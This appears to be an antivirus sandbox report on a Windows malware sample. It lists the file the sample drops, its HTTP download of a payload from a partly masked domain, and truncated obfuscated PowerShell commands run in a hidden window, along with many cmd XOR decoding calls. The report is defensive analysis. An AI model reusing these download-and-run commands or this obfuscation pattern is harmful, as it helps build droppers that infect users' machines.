Technical Information
Malicious functions
Launches a large number of processes
Modifies file system
Creates the following files
- %APPDATA%\semiprovincial.tob
Network activity
Connects to
- 'hu####hcaravan.de':80
TCP
HTTP GET requests
- http://www.hu####hcaravan.de/4543f4445r544/Pedicellar.jpb
UDP
- DNS ASK hu####hcaravan.de
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Nephropathic9 ([String]$rekursivt){$Pamprodactylous=5;For($Programafprvningers=4; $Programafprvningers -lt $rekursivt.Length-1; $Programafprvningers+=$Pamprodactylous){$Saddelmagernaa...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Nephropathic9 ([String]$rekursivt){$Pamprodactylous=5;For($Programafprvningers=4; $Programafprvningers -lt $rekursivt.Length-1; $Programafprvningers+=$Pamprodactylous){$Saddelmagernaa...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 115^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 71^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 104^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 80^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 78^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 97^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 118^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 103^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 116^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 83^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 111^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 86^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 110^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 65^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 114^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 10^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 6^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 20^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 100^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 21^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 113^^38"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Stroemmet02([String]$Beseige) { $Pessimist = [System.Byte[]]::CreateInstance([System.Byte],$Beseige.Length / 2) $Burgware = (cmd /c 'echo 16') For($Legations=0; $Legations -lt $Be...
- '%WINDIR%\syswow64\cmd.exe' /c "echo 16"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 117^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 95^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 85^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 82^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 67^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 75^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 8^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 66^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 74^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 107^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 79^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 69^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 84^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 73^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 64^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 72^^38"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 68^^38"
